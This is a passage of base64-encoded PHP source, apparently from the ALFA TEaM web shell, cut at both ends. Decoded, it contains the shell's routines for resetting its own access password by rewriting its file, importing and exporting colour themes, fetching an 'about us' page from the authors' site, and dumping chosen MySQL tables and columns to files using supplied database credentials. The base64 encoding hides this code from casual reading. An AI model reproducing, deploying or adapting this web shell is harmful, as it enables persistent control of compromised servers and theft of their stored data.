iNGRkZGRkYiPlVzZXJOYW1lOjwvZGl2PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6OTUlOyIgbmFtZT0idXNlcm5hbWUiIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pPyRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXTokX1BPU1RbJ2FsZmEzJ10pLiciIHBsYWNlaG9sZGVyPSJzb2xldmlzaWJsZSI+PC90ZD48L3RyPjx0cj48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0iY29sb3I6I0ZGRkZGRiI+UGFzc3dvcmQ6PC9kaXY+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo5NSU7IiBuYW1lPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9IioqKioqIj48L3RkPjwvdHI+PC90Ym9keT48L3RhYmxlPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImUiIHZhbHVlPSInLiRHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ10uJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icyIgdmFsdWU9IicuJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddLiciPjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYoJF9QT1NUWydhbGZhNSddPT0nPj4nKXsKZWNobyBfX3ByZSgpOwppZighZW1wdHkoJF9QT1NUWydhbGZhMyddKSl7CiRwcm90ZWN0ID0gJF9QT1NUWydhbGZhMSddOwokbGdwYWdlID0gJF9QT1NUWydhbGZhMiddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmEzJ107CiRwYXNzd29yZCA9IG1kNSgkX1BPU1RbJ2FsZmE0J10pOwokaWNvbiA9ICRfUE9TVFsnYWxmYTYnXTsKJHBvc3RfZW5jcnlwdCA9ICRfUE9TVFsnYWxmYTcnXTsKJGNnaV9hcGlfdmFsID0gJF9QT1NUWydhbGZhOSddOwpAY2hkaXIoJEdMT0JBTFNbJ2hvbWVfY3dkJ10pOwokYmFzZW5hbWUgPSBAYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwokZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZW5hbWUpOwokdXNlcl9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsidXNlcl9yYW5kIl07CiRwYXNzX3JhbmQgPSAkR0xPQkFMU1siREJfTkFNRSJdWyJwYXNzX3JhbmQiXTsKJGxvZ2luX3BhZ2VfcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bImxvZ2luX3BhZ2VfcmFuZCJdOwokc2FmZW1vZGVfcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInNhZmVtb2RlX3JhbmQiXTsKJHNob3dfaWNvbnNfcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInNob3dfaWNvbnNfcmFuZCJdOwokcG9zdF9lbmNyeXB0aW9uX3JhbmQgPSAkR0xPQkFMU1siREJfTkFNRSJdWyJwb3N0X2VuY3J5cHRpb25fcmFuZCJdOwokY2dpX2FwaV9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsiY2dpX2FwaV9yYW5kIl07CiRmaW5kX3VzZXIgPSAnL1wnJy4kdXNlcl9yYW5kLidcJyguKj8pLC9pJzsKJGZpbmRfcHcgPSAnL1wnJy4kcGFzc19yYW5kLidcJyguKj8pLC9pJzsKJGZpbmRfbGcgPSAnL1wnJy4kbG9naW5fcGFnZV9yYW5kLidcJyguKj8pLC9pJzsKJGZpbmRfcCA9ICcvXCcnLiRzYWZlbW9kZV9yYW5kLidcJyguKj8pLC9pJzsKJGljb25zID0gJy9cJycuJHNob3dfaWNvbnNfcmFuZC4nXCcoLio/KSwvaSc7CiRwb3N0RW5jID0gJy9cJycuJHBvc3RfZW5jcnlwdGlvbl9yYW5kLidcJyguKj8pLC9pJzsKJGNnaV9hcGlfcmVnID0gJy9cJycuJGNnaV9hcGlfcmFuZC4nXCcoLio/KSwvaSc7CmlmKCFlbXB0eSgkdXNlcm5hbWUpJiZwcmVnX21hdGNoKCRmaW5kX3VzZXIsJGRhdGEsJGUpKXsKJG5ldyA9ICdcJycuJHVzZXJfcmFuZC4nXCcgPT4gXCcnLiR1c2VybmFtZS4nXCcsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZighZW1wdHkoJF9QT1NUWydhbGZhNCddKSYmcHJlZ19tYXRjaCgkZmluZF9wdywkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kcGFzc19yYW5kLidcJyA9PiBcJycuJHBhc3N3b3JkLidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKCFlbXB0eSgkbGdwYWdlKSYmcHJlZ19tYXRjaCgkZmluZF9sZywkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kbG9naW5fcGFnZV9yYW5kLidcJyA9PiBcJycuJGxncGFnZS4nXCcsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZighZW1wdHkoJGZpbmRfcCkmJnByZWdfbWF0Y2goJGZpbmRfcCwkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kc2FmZW1vZGVfcmFuZC4nXCcgPT4gXCcnLiRwcm90ZWN0LidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKHByZWdfbWF0Y2goJGljb25zLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRzaG93X2ljb25zX3JhbmQuJ1wnID0+IFwnJy4kaWNvbi4nXCcsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZihwcmVnX21hdGNoKCRwb3N0RW5jLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRwb3N0X2VuY3J5cHRpb25fcmFuZC4nXCcgPT4gJy4kcG9zdF9lbmNyeXB0LicsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZihwcmVnX21hdGNoKCRjZ2lfYXBpX3JlZywkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kY2dpX2FwaV9yYW5kLidcJyA9PiAnLiRjZ2lfYXBpX3ZhbC4nLCc7CiRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7Cn0KaWYoQGZpbGVfcHV0X2NvbnRlbnRzKCRiYXNlbmFtZSwkZGF0YSkpewplY2hvICc8Yj5Vc2VyTmFtZTogPC9iPjxmb250IGNvbG9yPSJncmVlbiI+PGI+Jy4kdXNlcm5hbWUuJzwvYj48L2ZvbnQ+PGJyIC8+PGI+UGFzc3dvcmQ6IDwvYj48Zm9udCBjb2xvcj0iZ3JlZW4iPjxiPicuJF9QT1NUWydhbGZhNCddLic8L2I+PC9mb250PjxzY3JpcHQ+cG9zdF9lbmNyeXB0aW9uX21vZGUgPSAnLiRwb3N0X2VuY3J5cHQuJzs8L3NjcmlwdD4nOwp9ZWxzZXsKX19hbGVydCgiPHNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPkZpbGUgaGFzIG5vIGVkaXQgYWNjZXNzLi4uITwvc3Bhbj4iKTsKfQp9ZWxzZXsKX19hbGVydCgiPHNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPlVzZXJOYW1lIGlzIEVtcHR5ICE8L3NwYW4+Iik7Cn0KfQp9ZWxzZWlmKCRfUE9TVFsiYWxmYTgiXSA9PSAiY29sb3IiKXsKZWNobygnPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBDdXN0b20gQ29sb3IgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0icmVsb2FkQ29sb3JzKCk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPicpOwplY2hvICc8dGFibGUgYm9yZGVyPSIxIj48dGJvZHk+JzsKJHRlbXBsYXRlID0gJzx0cj48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGEgaHJlZj0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9jdXN0b21jb2xvcnMve2hlbHB9LnBuZyIgdGFyZ2V0PSJfYmxhbmsiPjxmb250IGNvbG9yPSIjMDBGRjAwIj5IZWxwPC9mb250PjwvYT48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48ZGl2IGNsYXNzPSJ0Ymx0eHQiPntpbmRleH08L2Rpdj48L3RkPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJtYXJnaW4tbGVmdDo1cHg7Ij57dGFyZ2V0fTo8L2Rpdj48L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjYwcHg7IiBtdWx0aT0ie211bHRpfSIgaWQ9Imd1aV97dGFyZ2V0fSIgb25DaGFuZ2U9ImNvbG9ySGFuZGxlcih0aGlzKTsiIHRhcmdldD0iLnt0YXJnZXR9IiB0eXBlPSJjb2xvciIgdmFsdWU9Intjb2xvcn0iPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiBtdWx0aT0ie211bHRpfSIgb25rZXl1cD0iY29sb3JIYW5kbGVyS2V5KHRoaXMpOyIgdGFyZ2V0PSIue3RhcmdldH0iIGlkPSJpbnB1dF97dGFyZ2V0fSIgY2xhc3M9ImNvbG9yc19pbnB1dCIgcGxhY2Vob2xkZXI9IiNmZmZmZmYiIHZhbHVlPSJ7Y29sb3J9Ij48L3RkPjwvdHI+JzsKJHggPSAxOwpmb3JlYWNoKCRHTE9CQUxTWydfX0FMRkFfQ09MT1JfXyddIGFzICRrZXkgPT4gJHZhbHVlKXsKCSRtdWx0aSA9ICIiOwoJaWYoaXNfYXJyYXkoJHZhbHVlKSl7CgkJaWYoaXNzZXQoJHZhbHVlWyJtdWx0aV9zZWxlY3RvciJdKSl7CgkJCSRtdWx0aSA9IF9fWlc1amIyUmxjZyhqc29uX2VuY29kZSgkdmFsdWUpKTsKCQl9Cgl9CgkkdmFsdWUgPSBhbGZhX2dldENvbG9yKCRrZXkpOwoJJGhlbHAgPSBzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKGFycmF5KCI6IiwgIisiKSwgYXJyYXkoIl8iLCAiX3BsdXMiKSwgJGtleSkpOwoJZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2luZGV4fSIsICJ7dGFyZ2V0fSIsICJ7Y29sb3J9IiwgInttdWx0aX0iLCAie2hlbHB9IiksIGFycmF5KCR4KyssICRrZXksICR2YWx1ZSwgJG11bHRpLCAkaGVscCksICR0ZW1wbGF0ZSk7Cn0KZWNobyAnPHRyPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij4tPC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGRpdiBjbGFzcz0idGJsdHh0Ij4qPC9kaXY+PC90ZD48dGQ+PGRpdiBzdHlsZT0ibWFyZ2luLWxlZnQ6NXB4OyIgY2xhc3M9InRibHR4dCI+VXNlIERlZmF1bHQgQ29sb3I6PC9kaXY+PC90ZD48dGQ+PC90ZD48dGQ+PGNlbnRlcj48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJ1c2VfZGVmYXVsdF9jb2xvciIgdmFsdWU9IjEiPjwvY2VudGVyPjwvdGQ+PC90cj4nOwoKZWNobyAnPC90Ym9keT48L3RhYmxlPjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvcD48L2Zvcm0+PHA+PGJ1dHRvbiBzdHlsZT0icGFkZGluZzo0cHg7O21hcmdpbi1yaWdodDoyMHB4OyIgb25jbGljaz0iJChcJ2ltcG9ydEZpbGVCdG5cJykuY2xpY2soKTsiIGNsYXNzPSJidXR0b24iPiBJbXBvcnQgPC9idXR0b24+IDxidXR0b24gc3R5bGU9InBhZGRpbmc6NHB4O21hcmdpbi1sZWZ0OjIwcHg7IiBvbmNsaWNrPSJnKFwnc2V0dGluZ3NcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnZXhwb3J0XCcsXCdjb2xvclwnKSIgY2xhc3M9ImJ1dHRvbiI+IEV4cG9ydCA8L2J1dHRvbj48L2NlbnRlcj48L3A+JzsKaWYoJF9QT1NUWydhbGZhNyddPT0nZXhwb3J0Jyl7CgllY2hvIF9fcHJlKCk7CgkkY29sb3JzID0gaXNfYXJyYXkoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXSk/JEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXTphcnJheSgpOwoJJGdsb2JfY29sb3JzID0gJEdMT0JBTFNbIl9fQUxGQV9DT0xPUl9fIl07CgkkYXJyYXkgPSBhcnJheSgpOwoJZm9yZWFjaCgkZ2xvYl9jb2xvcnMgYXMgJGsgPT4gJHYpewoJCWlmKGlzc2V0KCRjb2xvcnNbJGtdKSYmIWVtcHR5KCRjb2xvcnNbJGtdKSYmISRpc19kZWZhdWx0KXsKCQkJJHYgPSB0cmltKCRjb2xvcnNbJGtdKTsKCQl9ZWxzZXsKCQkJJHYgPSB0cmltKGlzX2FycmF5KCR2KT8kdlsia2V5X2NvbG9yIl06JHYpOwoJCX0KCQkkYXJyYXlbJGtdID0gJHY7Cgl9CgkkZmlsZSA9ICJhbGZhX2NvbG9yX2NvbmZpZ18iLmRhdGUoJ1ktbS1kLWhfaV9zJykuIi5jb25mIjsKCSRjb25maWcgPSBqc29uX2VuY29kZSgkYXJyYXksIEpTT05fUFJFVFRZX1BSSU5UKTsKCWlmKCFAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRjb25maWcpKXsKCQllY2hvKCc8cD48Y2VudGVyPkNvbG9yIENvbmZpZzo8YnI+PGJyPjx0ZXh0YXJlYSByb3dzPSIxMiIgY29scz0iNzAiIHR5cGU9InRleHQiPicuJGNvbmZpZy4nPC90ZXh0YXJlYT48L2NlbnRlcj48L3A+Jyk7Cgl9ZWxzZXsKCQllY2hvKCc8aDM+PHA+PGNlbnRlcj48YSBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy4kZmlsZS4nXCcsIFwnZG93bmxvYWRcJykiPjxmb250IGNvbG9yPSIjMEYwIj5Eb3dubG9hZCBDb25maWc8L2ZvbnQ+PC9hPjwvY2VudGVyPjwvcD48L2gzPicpOwoJfQp9CmlmKCRfUE9TVFsnYWxmYTInXT09Jz4+Jyl7CgllY2hvIF9fcHJlKCk7CgkkY29sb3JzID0ganNvbl9kZWNvZGUoJF9QT1NUWyJhbGZhMSJdLHRydWUpOwoJJGFycmF5ID0gIiI7CgkkaXNfZGVmYXVsdCA9IGlzc2V0KCRfUE9TVFsiYWxmYTMiXSkmJiRfUE9TVFsiYWxmYTMiXT09IjEiP3RydWU6ZmFsc2U7CgkkZ2xvYl9jb2xvcnMgPSAkR0xPQkFMU1siX19BTEZBX0NPTE9SX18iXTsKCWZvcmVhY2goJGdsb2JfY29sb3JzIGFzICRrID0+ICR2KXsKCQlpZihpc3NldCgkY29sb3JzWyRrXSkmJiFlbXB0eSgkY29sb3JzWyRrXSkmJiEkaXNfZGVmYXVsdCl7CgkJCSR2ID0gdHJpbSgkY29sb3JzWyRrXSk7CgkJfWVsc2V7CgkJCSR2ID0gdHJpbShpc19hcnJheSgkdik/JHZbImtleV9jb2xvciJdOiR2KTsKCQl9CgkJJGFycmF5IC49ICciJy50cmltKCRrKS4nIiA9PiAiJy4kdi4nIiwnOwoJfQoJQGNoZGlyKCRHTE9CQUxTWydob21lX2N3ZCddKTsKCSRiYXNlbmFtZSA9IEBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7CgkkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZW5hbWUpOwoJJGNvbG9yID0gJy9cJ2NvbG9yXCcoLio/KVwpLC9zJzsKCWlmKHByZWdfbWF0Y2goJGNvbG9yLCRkYXRhLCRlKSl7CgkJJG5ldyA9ICInY29sb3InID0+IGFycmF5KCIuJGFycmF5LiIpLCI7CgkJJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKCQlpZihAZmlsZV9wdXRfY29udGVudHMoJGJhc2VuYW1lLCAkZGF0YSkpewoJCQllY2hvKCI8Y2VudGVyPjxwPjxoMz5bK10gU3VjY2Vzcy4uLjwvaDM+PC9wPjwvY2VudGVyPjxzY3JpcHQ+bG9jYXRpb24ucmVsb2FkKCk7PC9zY3JpcHQ+Iik7CgkJfWVsc2V7CgkJCWVjaG8oIjxjZW50ZXI+PHA+PGgzPlstXSBXZSBOb3QgaGF2ZSBwZXJtaXNzaW9uIHRvIEVkaXQgc2hlbGwuLi4hPC9oMz48L3A+PC9jZW50ZXI+Iik7CgkJfQoJfWVsc2V7CgkJZWNobygiPGNlbnRlcj48cD48aDM+Wy1dIEVycm9yLi4uITwvaDM+PC9wPjwvY2VudGVyPiIpOwoJfQp9Cn0KZWNobygnPC9kaXY+Jyk7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhYWJvdXR1cygpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPic7CiRuZXdzID0gbmV3IEFsZmFDVVJMKCk7CiRhYm91dF91cyA9ICRuZXdzLT5TZW5kKCJodHRwOi8vc29sZXZpc2libGUuY29tL2Fib3V0dXMucGhwIik7CmlmKGVtcHR5KCRhYm91dF91cykpewokYWJvdXRfdXMgPSAiPHByZT48Y2VudGVyPjxpbWcgc3JjPSdodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mYXJ2YWhhci1pcmFuLnBuZyc+PGJyPgo8Yj48Zm9udCBzaXplPScrMycgY29sb3I9JyMwMEEyMjAnPiYjOTc3NDsgfiBQRUFDRSB+ICYjOTc3NDs8L2ZvbnQ+PGJyPjxiPgo8Zm9udCBjb2xvcj0nIzAwQTIyMCc+U2hlbGwgQ29kZWQgQnkgU29sZSBTYWQgJiBJbnZpc2libGUgKEFMRkEgVEVhTSk8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0nIzAwQTIyMCc+Q29udGFjdCA6IHNvbGV2aXNpYmxlQGdtYWlsLmNvbTwvZm9udD48YnI+Cjxmb250IGNvbG9yPScjMDBBMjIwJz5UZWxlZ3JhbSBDaGFubmVsOiBAc29sZXZpc2libGU8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0nI0ZGRkZGRic+U2t5cGUgOiBlaHNhbi5pbnZpc2libGU8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0nI0ZGRkZGRic+U2t5cGUgOiBzb2xlLnNhZDwvZm9udD48YnI+Cjxmb250IGNvbG9yPScjRkYwMDAwJz5QZXJzaWFuIEd1bGYgRm9yIEV2ZXI8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+SXJhbmlhbiBQcm9ncmFtbWVyczwvZm9udD48YnI+Cjxmb250IGNvbG9yPScjRkYwMDAwJz4jIyMjIyMjIyMjIyM8L2ZvbnQ+PGJyPgo8L2NlbnRlcj48L3ByZT48aWZyYW1lIHNyYz0ndGc6Ly9yZXNvbHZlP2RvbWFpbj1zb2xldmlzaWJsZScgZnJhbWVib3JkZXI9JzAnIHdpZHRoPScwJyBoZWlnaHQ9JzAnPjwvaWZyYW1lPiI7Cn0KZWNobyBfX3ByZSgpLiRhYm91dF91czsKZWNobygnPC9kaXY+Jyk7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhY29sZHVtcGVyKCl7CmFsZmFoZWFkKCk7CmVjaG8oJzxkaXYgY2xhc3M9ImhlYWRlciI+Jyk7CkFsZmFOdW0oOCw5LDEwKTsKZWNobyAiPGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTXlzcWwgQ29sdW1uIER1bXBlciB8PC9kaXY+PGJyPjxicj4iLmdldENvbmZpZ0h0bWwoJ2FsbCcpLiI8Zm9ybSBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PVwidmFyIG9wdF9pZD10aGlzLmdldEF0dHJpYnV0ZSgnb3B0X2lkJyk7dmFyIGRlbGltaXRlcj0nanNvbic7dHJ5e2lmKCQoJ2R1bXBlci1kZWxpbWl0ZXItdHlwZScpLnZhbHVlID09ICdkZWxpbWl0ZXInKWRlbGltaXRlcj0kKCdkdW1wZXItZGVsaW1pdGVyLWlucHV0JykudmFsdWV9Y2F0Y2goZSl7fTtnKCdjb2xkdW1wZXInLG51bGwsZGVsaW1pdGVyLEpTT04uc3RyaW5naWZ5KGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVtvcHRfaWRdKSx0aGlzLmRiX3VzZXJuYW1lLnZhbHVlLHRoaXMuZGJfcGFzc3dvcmQudmFsdWUsdGhpcy5kYl9uYW1lLnZhbHVlLHRoaXMuZGZpbGUudmFsdWUsdGhpcy5kYl9ob3N0LnZhbHVlKTsgY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW29wdF9pZF0gPSB7fTtyZXR1cm4gZmFsc2U7XCI+PHA+IjsKJGRlbGltaXRlciA9ICghZW1wdHkoJF9QT1NUWydhbGZhMSddKSA/ICRfUE9TVFsnYWxmYTEnXSA6ICc6OicpOwokc2VsZWN0ZWRfZGF0YSA9IGpzb25fZGVjb2RlKCRfUE9TVFsnYWxmYTInXSwgdHJ1ZSk7CiR1c2VybmFtZSA9ICgkX1BPU1RbJ2FsZmEzJ10pOwokcGFzc3dvcmQgPSAoJF9QT1NUWydhbGZhNCddKTsKJGRibmFtZSA9ICgkX1BPU1RbJ2FsZmE1J10pOwokZGZpbGUgPSAoJF9QT1NUWydhbGZhNiddKTsKJGhvc3QgPSAoJF9QT1NUWydhbGZhNyddKTsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICRob3N0LCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfdXNlcm5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICR1c2VybmFtZSwgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJHBhc3N3b3JkLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAkZGJuYW1lLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnT3V0cHV0IFBhdGg6ICcsICdpbnB1dE5hbWUnID0+ICdkZmlsZScsICdpbnB1dFZhbHVlJyA9PiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSksICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnIG5hbWU9J1N1Ym1pdCc+PC9wPjwvZm9ybT48L2NlbnRlcj4iOwokZGIgPSBmYWxzZTsKaWYoIWVtcHR5KCRkYm5hbWUpKXsKCSRkYiA9IEBteXNxbGlfY29ubmVjdCgkaG9zdCwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRkYm5hbWUpOwp9CmlmKGNvdW50KCRzZWxlY3RlZF9kYXRhKSA+IDApewoJaWYoJGRiKXsKCQlpZighaXNfZGlyKCRkZmlsZSkpewoJCQkkZGZpbGUgPSAkR0xPQkFMU1snY3dkJ107CgkJfQoJCSR0YmxzID0gIiI7CgkJJGV4dCA9ICcudHh0JzsKCQlpZigkZGVsaW1pdGVyID09ICdqc29uJyl7CgkJCSRleHQgPSAnLmpzb24nOwoJCX0KCQlmb3JlYWNoICgkc2VsZWN0ZWRfZGF0YSBhcyAkdGJsID0+ICRjb2xzKSB7CgkJCSR0YWJsZXNfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGRiLCAiU0VMRUNUICIuaW1wbG9kZSgnLCcsICRjb2xzKS4iIEZST00gJHRibCIpOwoJCQkkZmlsZV9uYW1lID0gJGRmaWxlLicvJy4kZGJuYW1lLicuJy4kdGJsLiRleHQ7CgkJCSRmcCA9IGZvcGVuKCRmaWxlX25hbWUsICJ3Iik7CgkJCSRkYXRhID0gYXJyYXkoKTsKCQkJd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9hcnJheSgkdGFibGVzX3F1ZXJ5LCBNWVNRTElfQVNTT0MpKXsKCQkJCWlmKCRkZWxpbWl0ZXIgPT0gImpzb24iKXsKCQkJCQkkY29sX2FyciA9IGFycmF5KCk7CgkJCQkJZm9yZWFjaCAoJHJvdyBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCQkJCQlpZihlbXB0eSgkdmFsdWUpKXsKCQkJCQkJCSR2YWx1ZSA9ICJbZW1wdHldIjsKCQkJCQkJfQoJCQkJCQkgJGNvbF9hcnJbJGtleV0gPSAkdmFsdWU7CgkJCQkJfQoJCQkJCSRkYXRhWyR0YmxdW10gPSAkY29sX2FycjsKCQkJCX1lbHNlewoJCQkJCSRkYXRhID0gIiI7CgkJCQkJZm9yZWFjaCAoJHJvdyBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCQkJCQlpZihlbXB0eSgkdmFsdWUpKXsKCQkJCQkJCSR2YWx1ZSA9ICJbZW1wdHldIjsKCQkJCQkJfQoJCQkJCQkkZGF0YSAuPSAkdmFsdWUgLiAkZGVsaW1pdGVyOwoJCQkJCX0KCQkJCQlmd3JpdGUoJGZwLCAkZGF0YSAuIlxuIik7CgkJCQl9CgkJCX0KCQkJaWYoJGRlbGltaXRlciA9PSAianNvbiIpewoJCQkJZndyaXRlKCRmcCwganNvbl9lbmNvZGUoJGRhdGEpKTsKCQkJfQoJCQlmY2xvc2UoJGZwKTsKCQkJJHRibHMgLj0gIkRvbmUgfn5+PiAiLiRmaWxlX25hbWUuIjxicj4iOwoJCX0KCQllY2hvIF9fcHJlKCk7CgkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj0nIzAwRkYwMCc+Ii4kdGJscy4iPC9mb250PjwvY2VudGVyPiI7Cgl9Cn0KaWYoIWVtcHR5KCRkYm5hbWUpICYmIGNvdW50KCRzZWxlY3RlZF9kYXRhKSA9PSAwKXsKLy9lY2hvIF9fcHJlKCk7CmlmKCRkYil7CgllY2hvKCI8aHI+PGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLWJvdHRvbTo1cHg7Zm9udC13ZWlnaHQ6Ym9sZGVyOyc+PHNwYW4+WyBTZWxlY3QgeW91ciB0YWJsZXMgYW5kIGNvbHVtbnMgZm9yIGR1bXBpbmcgZGF0YSBdPC9zcGFuPjwvZGl2PiIpOwoJZWNobygiPGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48c3Bhbj5PdXRwdXQgVHlwZTogPC9zcGFuPjxzZWxlY3QgaWQ9J2R1bXBlci1kZWxpbWl0ZXItdHlwZScgb25jaGFuZ2U9J2NvbER1bXBsZXJTZWxlY3RUeXBlKHRoaXMpOycgbmFtZT0nb3V0cHV0X3R5cGUnPjxvcHRpb24gdmFsdWU9J2RlbGltaXRlcicgc2VsZWN0ZWQ+ZGVsaW1pdGVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nanNvbic+anNvbjwvb3B0aW9uPjwvc2VsZWN0PjxkaXYgaWQ9J2NvbGR1bXBlci1kZWxpbWl0ZXItaW5wdXQnIHN0eWxlPSdkaXNwbGF5OmlubGluZTsnPjxzcGFuPiBEZWxpbWl0ZXI6IDwvc3Bhbj48aW5wdXQgaWQ9J2R1bXBlci1kZWxpbWl0ZXItaW5wdXQnIHN0eWxlPSd0ZXh0LWFsaWduOmNl